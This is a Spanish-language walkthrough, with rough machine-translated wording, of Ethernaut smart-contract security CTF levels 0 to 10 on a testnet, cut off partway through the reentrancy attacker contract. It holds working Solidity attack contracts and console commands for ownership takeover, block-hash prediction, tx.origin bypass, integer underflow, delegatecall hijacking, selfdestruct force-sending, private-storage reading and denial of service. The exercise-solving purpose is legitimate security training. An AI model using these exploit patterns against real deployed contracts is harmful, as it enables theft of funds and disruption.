[Blockchain Security-Ethernaut] Práctica de seguridad de contratos inteligentes de Blockchain - Serialización

[Blockchain Security-Ethernaut] Práctica de seguridad de contratos inteligentes de Blockchain - Serialización

Preparar

Con la promoción gradual de la tecnología de cadena de bloques, la seguridad de la cadena de bloques se ha convertido gradualmente en un punto de acceso para la investigación. Entre ellos, la seguridad de los contratos inteligentes inteligentes es el más destacado. Ethernaut es una buena herramienta para comenzar a investigar la seguridad de los contratos inteligentes de blockchain.

  • Primero, debe asegurarse de instalar Metamask , si puede usar Google Extension, puede instalarlo directamente, de lo contrario, puede instalarlo usando FireFox
  • Cree una nueva cuenta y conéctese a RinkeBy Test Network (debe habilitar Mostrar redes de prueba en Configuración - Avanzado y cambiar en la red)
    Crea una cuenta y conéctate a la red Rinkeby
  • Visite Faucet y obtenga monedas de prueba, 0.1Eth todos los días

¡Comience su viaje de descubrimiento en Ethernaut ahora!


0. Hola Ethernauta

Esta sección es relativamente simple, por lo que prestaré más atención al proceso general, presentaré la creación de instancias de Ethernaut, etc., y lo resolveré yo mismo, por lo que seré más detallado.

Preparación

Al ingresar a Hello Ethernaut , se le pedirá automáticamente que se conecte a la billetera Metamask. Después de conectarse, el diagrama esquemático es el siguiente:
Conectado con éxito a Metamask
presione F12 para abrir la herramienta de desarrollo y podrá interactuar con los contratos inteligentes en la interfaz de la consola.

Página de la consola

Crear una instancia y analizar

Haga clic en Obtener nueva instancia para crear una nueva instancia de contrato.

Se puede ver que en realidad 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33creamos instancias al interactuar con el contrato. En el parámetro del tutorial, llame al 0xdfc86b17método con la dirección 0x4e73b858fd5d7a5fc1c3455061de52a53f35d966como parámetro. De hecho, todos los niveles irán a cuando crean una instancia, y la 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33dirección adjunta se usa para indicar el nivel, como la dirección URL en este ejemplo
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966.

Crear una interfaz de negociación de contratos
La instancia se ha generado correctamente y la captura de pantalla de la transacción del contrato principal es la siguiente:

Captura de pantalla de la transacción principal del contrato
Ingrese los detalles de la transacción, vea las transacciones internas y busque llamadas entre contratos. El primero es llamar al contrato de nivel por el contrato principal, y el segundo es crear una instancia de contrato por el contrato de nivel, donde la dirección de la instancia es 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822.

Llamada interna de contrato de creación de instancia
Volviendo a la página, puede confirmar que la instancia generada es efectivamente la 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
El contrato de página se creó con éxito recordatorio
siguiente. Interactuaremos con el contrato para completar este nivel.

interacción del contrato

En este punto, en la interfaz de la consola, puede ver la cuenta actual del usuario y la instancia de contrato creada a través de playery respectivamente. Representa la dirección de la cuenta de la billetera del usuario y contiene la instancia del contrato , y la información del método.contractplayercontractabiaddress

Ver contrato e información del usuario
Siga las indicaciones para ingresar await contract.info()y obtener el resultado 'You will find what you need in info1().'.
esperar contrato.info()

Entra await contract.info1()y obtén el resultado 'Try info2(), but with "hello" as a parameter.'.
esperar contrato.info1()`

Entra await contract.info2('hello')y obtén el resultado 'The property infoNum holds the number of the next info method to call..
esperar contrato.info2('hola')
Input await contract.infoNum(), obtenga el valor del parámetro infoNum 42(la primera posición en Word). info42Esta es la función ( ) que se llamará a continuación .
esperar contrato.infoNum()
Ingrese await contract.info42(), obtenga el resultado 'theMethodName is the name of the next method., es decir, se debe llamar al siguiente paso theMethodName.

esperar contrato.info42()
Entra await contract.theMethodName()y obtén el resultado 'The method name is method7123949..

aguardar contrato.elNombredelMétodo()
Entra await contract.method7123949()y obtén el resultado 'If you know the password, submit it to authenticate()..
esperar contrato.método7123949()
Entonces pass password()puede obtener la contraseña ethernaut0y enviarla a authenticate(string).
Encuentre la contraseña y envíela
Tenga en cuenta que cuando la authenticate()función está en progreso, Metamask mostrará la confirmación de la transacción, esto se debe a que la función cambia el estado dentro del contrato (para verificar el éxito del nivel), mientras que otras funciones llamadas anteriormente no lo hacen (para la Vista) .
inserte la descripción de la imagen aquí
En este punto, el nivel ha sido completado. Puede elegir la Instancia Sumbit para enviar, y también debe firmar para completar la transacción

Firme y envíe
Después de esto, la página de la consola muestra un aviso de éxito y ¡el nivel está completo!

nivel completado

Resumir

Esta pregunta es relativamente sencilla, y es más familiarizarse con el funcionamiento y principio de ethernaut.


1. Reserva

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E.
Este nivel requiere tomar posesión del contrato y liquidar el saldo .
Observe su código fuente para encontrar el punto de entrada del cambio de propiedad del contrato. Encuentra dos, respectivamente contribute()y receive(), el código es el siguiente:

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

Según contribute()la lógica, cuando el usuario envía menos o igual a la convocatoria 0.001 ethery el aporte total supera owner, se puede obtener la titularidad del contrato . Este proceso parece simple, pero se puede ver en la siguiente función constructor() que cuando se crea, ownerla cantidad de creación es 1000 ether, por lo que este método no es muy práctico.

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

Volviendo a considerar receive()la función, según su lógica, cuando el usuario envía algo ethery ha contribuido antes (la contribute()función ha sido llamada), se puede obtener la propiedad del contrato. receive()De manera similar fallback(), este método se llama cuando el usuario envía tokens pero no se especifica ninguna función (p. ej sendTransaction().).
Después de adquirir la propiedad, llamar a la withdrawfunción puede borrar el saldo del contrato.

interacción del contrato

Use el contractcomando para ver el contrato abi y las funciones externas.

Contrato abi y funciones
Llame await contract.contribute({value:1}), envíe 1 unidad de Wei al contrato.

aguardar contrato.contribuir({valor:1})
En este punto, llame para await contract.getContribution()ver las contribuciones de los usuarios y descubra que el grado de contribución es 1, que cumple con receiver()los requisitos mínimos para llamar a la función predeterminada.

esperar contrato.getContribution()
Utilice la await contract.sendTransaction({value:1})transacción de transferencia construida para enviar al contrato y la
esperar contrato.sendTransaction({valor:1})
llamada await contract.owner() === player confirmará que el propietario del contrato ha cambiado.
esperar contrato.propietario() === jugador
La llamada final para await contract.withdraw()retirar el saldo.
esperar contrato.retirar()
¡Envíe una instancia para demostrar que el nivel es exitoso!

nivel de exito

Resumir

Este nivel también es relativamente simple, principalmente necesita analizar la lógica dentro del código y comprender fallback()el receiveprincipio.


2. Fallout

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x891A088f5597FC0f30035C2C64CadC8b07566DC2.
Este nivel requiere tomar posesión del contrato. Primero, use el contractcomando para ver la información de función y abi del contrato.
contrato
Consulte el código fuente del contrato para conocer los posibles puntos de avance. Resulta que Fal1out()la función es el avance. Su código es el siguiente:

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

Para Solidity, sus versiones de compilador anteriores a 0.4.22 admiten constructores con el mismo nombre de contrato, como:

pragma solidity ^0.4.21;

contract DemoTest{

    function DemoTest() public{

    }
}

Sin embargo, desde 0.4.22, solo se admiten constructor()compilaciones de explotación , como:

pragma solidity ^0.4.22;

contract DemoTest{
     constructor() public{

    }
}

Pero en este nivel, está claro que el creador del contrato cometió un error y se Falloutescribirá Fal1out. Fal1outEntonces obtenemos la propiedad llamando a la función directamente .

interacción del contrato

Úselo await contract.owner()para obtener el propietario del contrato actual como la 0x0dirección.
esperar contrato.propietario()
Convocatoria await contract.Fal1out({value:1})para lograr la adquisición de la propiedad.
esperar contrato.Fal1out({valor:1})
Llame para await contract.owner() === playerconfirmar que se ha adquirido la titularidad del contrato.
esperar contrato.propietario() === jugador
¡Envíe una instancia, este nivel está completo!
¡El nivel es exitoso!

Resumir

Este nivel es relativamente simple y examina principalmente la comprensión y comprensión de los detalles del contrato y los constructores.


3. Lanzamiento de moneda

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54.
Este nivel requiere 10 intentos consecutivos de cara y cruz de la moneda .

Primero observemos el código, el cual se muestra en la siguiente figura:

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Se puede ver que el anverso y el reverso de la moneda están determinados por la altura del bloque antes del bloque actual. Si no sabemos cuál es la altura actual del bloque, es difícil predecir con anticipación el anverso y el reverso de la moneda. Al mismo tiempo, el contrato garantiza que el mismo bloque solo se puede enviar una vez a través de lastHash.
Aquí introduciremos el concepto de llamadas entre contratos, como Hello Ethernautanalizamos en el nivel, un contrato también puede llamar a un contrato, la operación específica es como Internal Txns, pero aún en el mismo bloque que la llamada inicial . Entonces podemos crear nuestro propio contrato inteligente, predecir el anverso y el reverso de la moneda por adelantado y hacer una solicitud al contrato de nivel.

Llamada interna de contrato de creación de instancia

El siguiente es el contenido de las llamadas entre contratos, existen principalmente de varios tipos:

  • Utilice la instancia de contrato de destinatario (se conoce el código de contrato de destinatario)
  • Utilice la instancia de interfaz de contrato llamada (solo se conoce la interfaz de contrato llamada)
  • Llame al contrato usando el comando de llamada

Escribiremos nuestro propio contrato inteligente, a partir de las tres ideas anteriores, para realizar la llamada entre contratos.

Redacción de contrato de ataque

Use el editor en línea Remix para escribir el contrato, el código es el siguiente, que CoinFlipAttackes nuestro contrato de ataque, CoinFlipy CoinFlipInterfaceambos están definidos para proporcionar la interfaz abi para el contrato de destino:

pragma solidity ^0.6.0;

// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}

// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker{
    
    using SafeMath for uint256;
    address private addr;
    CoinFlip cf_ins;
    CoinFlipInterface cf_interface;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _addr) public {
        addr = _addr;
        cf_ins = CoinFlip(_addr);
        cf_interface = CoinFlipInterface(_addr);
    }

// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
    function getFlip() private returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return side;
    }

// 使用被调用合约实例(已知被调用合约代码)
    function attackByIns() public {
        bool side = getFlip();
        cf_ins.flip(side);
    }

// 使用被调用合约接口实例(仅知道被调用合约接口)
    function attackByInterface() public {
        bool side = getFlip();
        cf_interface.flip(side);
    }

// 使用call命令调用合约
    function attackByCall() public {
        bool side = getFlip();
        addr.call(abi.encodeWithSignature("flip(bool)",side));
    }

}

interacción del contrato

0.6.12+commit.27d51765.jsEn este punto, se compila el compilador que elegimos , como se muestra en la siguiente figura:
compilación de contratos
En la página de implementación, seleccione Injected Web3, conecte Metamask钱包y llame al constructor del contrato de ataque, donde los parámetros de construcción se pasan al contrato de destino 0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54.

implementar contrato
El pequeño zorro firma, se completa el despliegue del contrato, la dirección del contrato de ataque es 0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fFy se muestra la siguiente interfaz de llamada. A continuación, lanzaremos el ataque de las siguientes tres maneras:
Interfaz de llamada de contrato de ataque

  • Usando la instancia de contrato llamada (ataque por ins)
    antes de llamar, tenemos 3 conjeturas consecutivas, como se muestra en la siguiente figura:
    Conjeturas actuales
    Haga clic attackByInsen , aparece la ventana emergente de confirmación de Metamask, confirme, el bloque actual se ha extraído con éxito.

ataque por ins
En este momento, el número de conjeturas consecutivas se convierte en 4 y el método se verifica con éxito.
Conjeturas actuales

  • Use la instancia de interfaz de contrato llamada (ataque por interfaz)

En este punto, el número de conjeturas consecutivas es 4. Haga clic en él attackByInterfacey aparecerá la ventana emergente de confirmación de Metamask Confirme que el bloque actual se ha extraído con éxito.

ataquePorInterfazEn este momento, el número de conjeturas consecutivas se convierte en 5 y el método se verifica con éxito.Conjeturas actuales

  • Use el comando de llamada para llamar al contrato (ataque por llamada).
    En este momento, el número de conjeturas consecutivas es 5. Haga clic en él attackByCally aparecerá la ventana emergente de confirmación de Metamask. Confirme que el bloque actual se ha extraído con éxito.
    ataque por llamada
    En este momento, el número de conjeturas consecutivas se convierte en 6, ¡y el método se verifica con éxito!
    Conjeturas actuales

No importa qué método se use, se puede realizar la llamada de contrato en el mismo bloque, pero debe prestar atención gas limita la configuración.Si no es suficiente, habrá una explosión out of gaso revertedun error, puede configurarlo en el pequeño zorro interfaz de confirmación.

Luego podemos hacer 4 veces más con llamadas arbitrarias hasta llegar a 10, ¡y finalmente comprometernos!
¡Envíe una instancia, este nivel está completo!
¡El nivel es exitoso!

Resumir

Este nivel examina principalmente solidityla redacción y convocatoria entre contratos. Encontré muchos gasproblemas relacionados cuando lo estaba haciendo. No le presté mucha atención antes, ¡pero ahora necesito prestarle más atención!


4. Teléfono

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xba9405B2d9D1B92032740a67B91690a70B769221.
Analice el código fuente del contrato y solicite cambiar la propiedad del contrato. El avance radica en la changeOwnerfunción. El código de función es el siguiente:

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }

El requisito previo es que no tx.origines msg.senderlo mismo, por lo que debemos estudiar esto.

  • tx.originrecorre toda la pila de llamadas y devuelve la dirección de la cuenta que envió originalmente la llamada (o transacción).
  • msg.senderes la dirección de la cuenta o contrato inteligente que invoca directamente la función de contrato inteligente

La diferencia entre los dos es que si hay varias llamadas dentro de la misma transacción , tx.originpermanecerá sin cambios, pero msg.sendercambiará. En base a esto, escribiremos un contrato inteligente que actúe como un ataque de intermediario.

Redacción de contrato de ataque

El contrato también está escrito en remix. El código del contrato es el siguiente. Similar al nivel anterior, la interfaceinstancia de la interfaz del contrato se crea a través de la interfaz y pasamos attack函数执行攻击:

pragma solidity ^0.6.0;

interface TelephoneInterface {
    function changeOwner(address _owner) external;
}



contract TelephoneAttacker {

    TelephoneInterface tele;

    constructor(address _addr) public {
        tele = TelephoneInterface(_addr);
    }

    function attack(address _owner) public {
        tele.changeOwner(_owner);
    }

}

interacción del contrato

Inicialmente, aún no se ha obtenido la titularidad del contrato.

No se ha adquirido la titularidad del contrato.
Desplegamos el contrato en remix con parámetros adjuntos 0xba9405B2d9D1B92032740a67B91690a70B769221para inicializar la instancia de interfaz de contrato atacada tele. La dirección del contrato de ataque generado es 0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811.

Implementar el contrato de ataque

Llame a la función en remix attack, el parámetro es 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1bla dirección de la billetera.
ataque
En este punto, vuelva a verificar la propiedad y descubra que se ha producido el cambio.
La propiedad ha cambiado
Envíe una instancia, este nivel se ha superado con éxito.
Éxito

Resumir

tx.originHay muchos contratos en uso para esto, pero si se usa incorrectamente, puede causar graves consecuencias.
Por ejemplo, configuro un contrato para hacer que el contrato atacado inicie activamente una llamada y lanzo el ataque en la función de aceptación para eludir la tx.originconfiguración de seguridad relevante.


5. ficha

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3.
A juzgar por el proceso de creación del contrato, el contrato de creación de instancia 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33llama al contrato de nivel 0x63bE8347A617476CA461649897238A31835a32CEpara crear el contrato de destino y las playertransferencias 20 token.

Información de asignación de tokens

Para analizar el código fuente de su contrato y solicitar aumentar la cantidad de tokens existentes, debemos transfercomenzar con la función.El código de la función es el siguiente:

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

Un error en el código aquí es que no uinthay verificación de desbordamiento para la operación, por ejemplo, para un entero sin signo de 8 bits, habrá 0-1=255un 255+1=0error. Podemos usar esta laguna para lograr una emisión adicional ilimitada de tokens.

interacción del contrato

Llame await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)a la función, tenga en cuenta que no puede transferir dinero a usted mismo aquí, porque primero habrá un desbordamiento y luego un desbordamiento. Transferimos directamente a contratos de nivel 21. tokenEn este momento 20-21, se produce un desbordamiento y alcanza el valor máximo. En este punto, se puede ver que el saldo de fichas ha crecido.

El número de fichas crece
¡Envíe un ejemplo y pase este nivel!
¡Éxito!

Resumir

Es por eso que necesitamos Safemath. ¡Asegúrese de prestar atención al desbordamiento y subdesbordamiento al escribir contratos!

6. Delegación

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d. Este nivel requiere **tomar posesión del
contrato **.Delegation

Análisis del contrato, la sección del código fuente proporciona dos partes del contrato, una es Delegatey la otra es Delegation. DelegationLa fallbackfunción pasada entre los dos contratos se delegatecallllama en función de la expansión del método.

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }

Para el Delegationcontrato, el código para cambiar la propiedad no se encuentra en él, por lo que podemos cambiar la forma de pensar y ver si Delegatehay alguno en el contrato. Analizando el contrato se puede ver que pwn()se puede realizar.

  function pwn() public {
    owner = msg.sender;
  }

En este momento, algunas personas pueden estar confundidas Delegatey Delegationson dos contratos diferentes. Si solo modificamos Delegateel que está en ownerél, ¿tendrá un impacto en llamarlo entre contratos Delegation?

En Solidity, el grupo de funciones de llamadas puede implementar llamadas de funciones de contratos cruzados, incluidos call, delegatecall y callcode, y analizaremos las diferencias entre los siguientes tres métodos de llamadas de contratos cruzados (tomando al usuario A llamando del contrato C al contrato B como ejemplo):

  • call: El método de llamada más común.Después de la llamada, el valor de la variable integrada msg se cambiará a la persona que llama B, y el entorno de ejecución es el entorno de tiempo de ejecución de la persona que recibe la llamada C.
  • delegatecall: después de la llamada, el valor A de la variable integrada msg no se modificará para el autor de la llamada, pero el entorno de ejecución es el entorno de ejecución B del autor de la llamada
  • callcode: Después de la llamada, el valor de la variable integrada msg se modificará al autor de la llamada B, pero el entorno de ejecución es el entorno de ejecución B del autor de la llamada

Entonces, en ese delegatecallmomento, aunque estábamos llamando a Delegatela función en el contrato, de hecho, la estábamos Delegationhaciendo en el entorno, lo que puede entenderse como "introducir" el código. Por lo tanto, podemos realizar la transferencia de los derechos del contrato.

interacción del contrato

Al inicializar, tener la propiedad del contrato no es una opción player.
no tomó posesión
Se usa contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})para iniciar una llamada, el resultado falla, y un vistazo más de cerca es porque no fallbackhay payabledecoración. Esto es un malentendido al principio, y la observación no es lo suficientemente cuidadosa.

llamada fallida
eliminar value, llamar de nuevo await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)}). En este punto, la propiedad del contrato ha sido transferida. Explique, aquí dataes para llamar a la pwnfunción, use la sha3codificación y tome los primeros 4 bytes, aquí está simplificado porque no hay un parámetro de entrada.
tomar posesión
¡Envíe una instancia de contrato, este nivel es exitoso!

¡Éxito!

Resumir

Las llamadas entre contratos deben ser muy cuidadosas, delegateoriginalmente por flexibilidad de programación, pero si no se manejan correctamente, ¡traerán grandes problemas a la seguridad!


7. Fuerza

Lo siento, he estado un poco ocupado en el trabajo recientemente, porque mi trabajo involucra el comercio exterior de seguridad cibernética, así que he estado ocupado con la capacitación recientemente. Pero esta pieza sin duda se seguirá completando.

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xa39A09c4ebcf4069306147035dd7cE7735A25532.
Este nivel requiere Forcetransferir tokens al contrato, pero el contrato no parece tener una función pagadera. ¿Entonces, qué debemos hacer?

En la práctica, existen varias formas comunes de transferir dinero a un contrato inteligente.

  • Transferencia : lanza una excepción cuando ocurre un error y el código no se ejecutará después
  • Enviar : el error de transferencia no arroja una excepción y devuelve verdadero/falso. El código seguirá ejecutándose.
  • call.value().gas : el error de transferencia no arroja una excepción y devuelve verdadero/falso. El código se ejecutará, pero las funciones de llamada para transferencia son propensas a ataques de reingreso.

Hay una premisa de los tres métodos, es decir, el contrato aceptante debe poder aceptar la transferencia, es decir, hay una función pagadera, de lo contrario se retrotraerá.

Entonces, ¿hay alguna otra manera?

Sin embargo, hay otra forma de transferir fondos sin obtener los fondos primero: la función de autodestrucción. La autodestrucción es una función en el contrato inteligente de Solidity que se utiliza para eliminar contratos en la cadena de bloques. Cuando un contrato ejecuta una operación de autodestrucción, el éter restante en la cuenta del contrato se enviará a un objetivo específico, y su almacenamiento y código se borrarán.

Es decir, podemos enviar el éter restante del contrato a la dirección especificada a través de la función de autodestrucción del contrato.En este momento, no necesitamos juzgar si la dirección puede aceptar la transferencia o no. Entonces podemos construir contratos inteligentes, completar la autodestrucción y luego atacar.

interacción del contrato

El contrato en sí no prevé consulta de saldo, por lo que vamos a la cadena a consultar. El saldo del contrato ahora es 0.

El saldo objetivo del contrato es 0
Construimos el contrato a través de remix, que escribe una función de autodestrucción.

pragma solidity ^0.6.0;

contract ForceAttacker {

    constructor() public payable{

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}

Cree un nuevo contrato, impleméntelo en la red de prueba de Rinkeby, dirección del contrato0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

implementar contrato

destructLlame a la función con el contrato atacado como una variable .

lanzar un ataque de autodestrucción

En este punto, se puede ver que el saldo de direcciones en la cadena de contratos atacada ha cambiado de 0 a 50.

Ataque de autodestrucción exitoso
Envíe un ejemplo, ¡este nivel se ha superado con éxito!
nivel de exito

Resumir

selfdestructEl cheque pagadero no se activará.Si no hay un buen cheque, puede tener un impacto impredecible en la operación del contrato en sí. Para evitar this.balancela manipulación por parte de piratas informáticos, debemos usar balancevariables para aceptar saldos para una lógica comercial específica.


8. Bóveda

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x81E840E30457eBF63B41bE233ed81Db4BcCF575E.

Análisis del contrato, el requisito de este nivel es desbloquear, y la única forma de desbloquear es ingresar correctamente password. La definición de este par de niveles passwordes una variable privada, ¿por qué no se puede ver de vez en cuando?

La respuesta es no, todas las variables se almacenan en cadena y podemos verlo de forma natural. Ahora la pregunta es, ¿dónde buscar y qué buscar?

¿Cuál es la primera respuesta?

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback]), use este comando para ver el contenido de almacenamiento almacenado en una determinada dirección.
Sus parámetros representan los siguientes significados:

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

En términos generales, usamos web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);, los dos últimos parámetros son generalmente opcionales.

¿Cuál es la segunda respuesta?

El almacenamiento de datos de Ethereum designará una ubicación de almacenamiento computable para cada dato del contrato y lo almacenará en una super matriz con una capacidad de 2^ 256. Cada elemento de la matriz se denomina ranura y su valor inicial es 0. Aunque el límite superior de la capacidad de la matriz es alto, el almacenamiento real es escaso y solo se escriben en el almacenamiento datos distintos de cero (nulos). La ubicación de la ranura para cada almacén de datos es fija.

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

Cada ranura es de 32 bytes.Para los tipos de valor, su almacenamiento es continuo y se cumplen las siguientes reglas.

  • El primer elemento de la ranura de almacenamiento se almacena poco alineado (es decir, alineado a la derecha)
  • Los tipos primitivos usan solo los bytes necesarios para almacenarlos
  • Si no queda suficiente espacio en la ranura de almacenamiento para almacenar un tipo base, se mueve a la siguiente ranura de almacenamiento
  • Los datos de estructura y matriz siempre ocuparán un espacio completamente nuevo (pero los elementos de una estructura o matriz estarán empaquetados con estas reglas)

Por ejemplo el siguiente contrato

pragma solidity ^0.4.0;

contract C {
    address a;      // 0
    uint8 b;        // 0
    uint256 c;      // 1
    bytes24 d;      // 2
}

Su distribución de almacenamiento es la siguiente:

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------

Volviendo a esta pregunta, es obvio que la ubicación del almacenamiento debe ser

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------

Para que podamos slot1obtener la información de la contraseña.

interacción del contrato

Ingresa await web3.eth.getStorageAt(contract.address,1)obtener byte32 password.
esperar web3.eth.getStorageAt(contrato.dirección,1)
En este punto, el contrato sigue bloqueado (pasable await contract.locked()) para consulta.

El contrato sigue bloqueado.
Llame await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')para desbloquear el contrato.
desbloquear el contrato
En este punto, el contrato ha sido desbloqueado.
inserte la descripción de la imagen aquí
Envíe una instancia, este nivel se pasa con éxito.
nivel de exito

Resumir

No hay secretos en la cadena de bloques.


9 rey

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2. Análisis de su contrato, su función de contrato se encuentra en el siguiente segmento de código:

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

Cuando se recibe una transferencia entrante, si el monto enviado es mayor que el bono actual, el monto enviado se enviará al rey actual, el bono se actualizará y el remitente se convertirá en el nuevo rey.
El propósito de este nivel es romper este ciclo.

El punto de partida para romper este ciclo es que la interacción de funciones es en realidad un proceso continuo.

  1. El usuario envía una cantidad específica de éter.
  2. El contrato reenvía el éter al rey actual.
  3. Reyes y bonificaciones actualizados.

Mientras nosotros, como reyes, nos neguemos a aceptar la bonificación transferida del contrato, todo el proceso puede revertirse.

Redacción de contrato de ataque

También escribimos el contrato de ataque en remix. como sigue:


contract KingAttacker {

    constructor() public payable{

    }

    function attack(address payable addr) public payable{
        addr.call.value(msg.value)("");
    }
    
    fallback() external payable{
        revert();
    }

} 

En la función de aceptación, tomamos la iniciativa de retroceder para evitar que el contrato continúe ejecutándose.

interacción del contrato

Primero, veamos cuánto necesitamos pasar en este momento. En la página de detalles del contrato de destino, puede ver que se pasaron 0.001Ether al crear el contrato.

Detalles del contrato
Entonces, después de crear el contrato de ataque ( 0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208), pase 2Finney y llame al attackmétodo de contrato de ataque.

ataque
En este punto miramos al rey, usándolo await contract._king(), podemos ver que el rey se ha convertido en un contrato de ataque.
esperar contrato._rey()
¡Envíe el contrato, el nivel es exitoso!

nivel de exito
revertMirando los datos en la cadena, podemos ver que ocurrió una reversión ( ) durante la ejecución .
revertir

Resumir

Los ataques pueden comenzar desde múltiples perspectivas de ejecución del contrato.


10 Reingreso

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e. Análisis de su contrato, su función de extracción de contrato es la siguiente:

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

¿Cuál es el problema con este contrato? Es decir, se equivocó en el orden de contabilidad y transferencia (primero transferencia, luego libro). En términos generales, cuando vamos al banco a retirar dinero, el banco primero hará una nota en su propio libro de cuentas y luego nos retirará el dinero. Aunque nos es imposible retirar dinero en dos lugares al mismo tiempo, ¿es posible en la cadena de bloques?

La respuesta es Sí. Si iniciamos una nueva operación de retiro de dinero mientras aceptamos la transferencia del contrato, obviamente, si se trata de un proceso de llamada continua, ¿el contrato seguirá transfiriendo dinero al usuario sin modificar el libro mayor?

Entonces, ¿qué se puede hacer para asegurar la invocación continua? Eso es usar el contrato para interactuar con el contrato atacado.

Redacción de contrato de ataque

También escribimos el contrato de ataque en remix. como sigue:

pragma solidity ^0.6.0;


interface Reentrance{
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balanceOf);
}

contract Attacker {
    Reentrance ReentranceImpl;
    uint256 requiredValue;

    constructor(address addr) public payable{
    ReentranceImpl = Reentrance(addr);
    requiredValue = msg.value;
    }

    function getBalance(address addr) public view returns (uint){
        return addr.balance;
    }

    function donate() public {
        ReentranceImpl.donate{value:requiredValue}(address(this));
    }

    function withdraw(uint _amount) public {
        ReentranceImpl.withdraw(_amount);
    }

    function destruct() public {
        selfdestruct(msg.sender);
    }

    fallback() external payable {
